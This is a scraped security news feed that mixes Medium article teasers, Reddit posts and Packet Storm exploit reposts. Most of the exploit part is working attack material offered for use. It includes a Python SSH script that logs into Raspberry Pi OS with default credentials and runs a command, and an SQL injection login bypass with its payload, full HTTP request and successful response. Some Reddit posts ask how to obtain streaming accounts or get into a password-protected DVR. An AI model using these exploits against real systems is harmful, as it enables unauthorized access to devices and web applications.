ProtoBuffer ReUtilization “New Way to Security Test GoogleCaptcha”

Captcha defeated through new method I’ve found, public exploit and PoC here.Continue reading on Medium »
Read more...

Pentesting tools
https://www.reddit.com/r/Pentesting/comments/rcjxwd/pentesting_tools/

<!-- SC_OFF -->Hi all, Very much an amateur but I've been looking at some clips online and seeing John Hammond here do some basic pentesting which raises a question for me: https://youtu.be/xl2Xx5YOKcI I can understand the sequence of his attack and the files he goes into trying to get info but the thing that really stands out for me is his ability to know the right tool dependent on the service he was trying to get info on. He jumps from Gobuster, to Hydra to John the ripper etc without even thinking about it. So my question is, is there anywhere a list of tools versus what service\file they are used against anywhere maybe in order of how good they are? I know it comes with experience but maybe there's like a cheat sheet that exists. Thanks <!-- SC_ON --> submitted by /u/P3ntest3rUK (https://www.reddit.com/user/P3ntest3rUK)
[link] (https://www.reddit.com/r/Pentesting/comments/rcjxwd/pentesting_tools/) [comments] (https://www.reddit.com/r/Pentesting/comments/rcjxwd/pentesting_tools/)

Hacking on Medium
A Quick Guide to Hack private variables in Solidity

https://cdn-images-1.medium.com/max/1212/1*MxCMmnrJPFHEvRPtvUJFOw.png
For shorter interesting content, follow on twitter: https://twitter.com/polipic1

Continue reading on Medium »

Hacking on Medium
ProtoBuffer ReUtilization “New Way to Security Test GoogleCaptcha”

https://cdn-images-1.medium.com/max/835/1*mm2w_Qthx2HZAFpQBKSfvQ.png
Captcha defeated through new method I’ve found, public exploit and PoC here.

Continue reading on Medium »

Hacking on Medium
Hackathony, czyli programowanie non stop. Braliście udział?

https://cdn-images-1.medium.com/max/1124/0*EERa_ImRltIfVKue
Braliście udział w hackathonach? Ponoć świetna, programistyczna impreza.

Continue reading on Medium »

Deep Web
The Top Dark Web Trends in 2021

https://external-preview.redd.it/pnxbI4kQksDH7SwYPcn-RyzTd6--tK74DiAc5sgJNnU.jpg?width=640&crop=smart&auto=webp&s=324ec573f56e61085e0d3573207868f09219c518 submitted by /u/rangeva
[link] [comments]

ProtoBuffer ReUtilization “New Way to Security Test GoogleCaptcha”
https://medium.com/@Cho0k/protobuffer-reutilization-new-way-to-security-test-googlecaptcha-b3e0fc6cf7c4?source=rss------bug_bounty-5

Captcha defeated through new method I’ve found, public exploit and PoC here.Continue reading on Medium » (https://medium.com/@Cho0k/protobuffer-reutilization-new-way-to-security-test-googlecaptcha-b3e0fc6cf7c4?source=rss------bug_bounty-5)

hacking: security in practice
What makes a phone an untraceable burner?

Title. I've seen the idea mentioned in a couple of TV shows but never thought of it, till now - what criterion is needed to make a phone untraceable? Could anyone make one easily?

submitted by /u/BioFrosted
[link] [comments]

hacking: security in practice
click here

hello, so i have 1 question, how do i get accounts like spoify,dezzer,Netflix etc?

submitted by /u/Xzoyo-Senpai
[link] [comments]

hacking: security in practice
is there a way to gain access to the main menu of a dvr?

IT guy is not responding and it requires a password. username is set as admin

submitted by /u/no-it-is-necessary
[link] [comments]

Exploit Collector
Raspberry Pi 5.10 Default Credentials

https://4.bp.blogspot.com/-Lnl-ZxRP9Iw/WWlvEVwqA2I/AAAAAAAAIK8/WG2BCM3S_lsUOouuCwhP5sp3j7hYzeO-wCLcBGAs/s1600/h133.png
Raspberry Pi version 5.10 has default credentials of pi/raspberry. This has been a known standard of theirs for a long time but it has been formally given a CVE.

MD5 | d93ec1f954595b314818e65b203e583c

Download
# Exploit Title: Raspberry Pi 5.10 - Default Credentials
# Date: 08/12/2021
# Exploit Author: netspooky
# Vendor Homepage: https://www.raspberrypi.com/
# Software Link: https://www.raspberrypi.com/software/operating-systems/
# Version: Raspberry Pi OS <=
# Tested on: Raspberry Pi OS 5.10
# CVE : CVE-2021-38759

# Initial Release: https://twitter.com/netspooky/status/1468603668266209280

# Run: $ python3 exploit.py IP

import paramiko

import sys

h=sys.argv[1]

u="pi"

p="raspberry"

c=paramiko.client.SSHClient()

c.set_missing_host_key_policy(paramiko.AutoAddPolicy())

c.connect(h,username=u,password=p)

i,o,e=c.exec_command("id")

print(o.read())

c.close()


Source:packetstormsecurity.com

Exploit Collector
Employees Daily Task Management System 1.0 SQL Injection

https://4.bp.blogspot.com/-slZrAXCcTc4/WWlvSkUdx-I/AAAAAAAAINc/GD9pE2wpupUfP-XcYlxrz5jw2m91dZTOgCLcBGAs/s1600/h39.png
Employees Daily Task Management System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | dc63668edab1dc7baf530ffbbb4e5ba0

Download
# Exploit Title: Employees Daily Task Management System 1.0 - 'username' SQLi Authentication Bypass
# Exploit Author: able403
# Date: 08/12/2021
# Vendor Homepage: https://www.sourcecodester.com/php/15030/employee-daily-task-management-system-php-and-sqlite-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/edtms.zip
# Version: 1.0
# Tested on: windows 10
# Vulnerable page: Actions.php
# VUlnerable parameters: "username"

Technical description:

An SQL Injection vulnerability exists in theEmployees Daily Task Management System admin login form which can allow an attacker to bypass authentication.

Steps to exploit:

1) Navigate to http://localhost/login.php

2) Insert your payload in the user or password field

3) Click login

Proof of concept (Poc):

The following payload will allow you to bypass the authentication mechanism of the Engineers Online Portal login form -

123'+or+1=1+--+-
---
POST /Actions.php?a=employee_login HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 43

Origin: http://edtms.com

Connection: close

Referer: http://edtms.com/login.php

Cookie: PHPSESSID=p98m8ort59hfbo3qdu2o4a59cl
email=admin'+or+1=1+--+-&password=123123213
response
HTTP/1.1 200 OK

Date: Wed, 10 Nov 2021 02:23:38 GMT

Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02

X-Powered-By: PHP/8.0.2

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 48
{"status":"success","msg":"Login successfully."}
---

Source:packetstormsecurity.com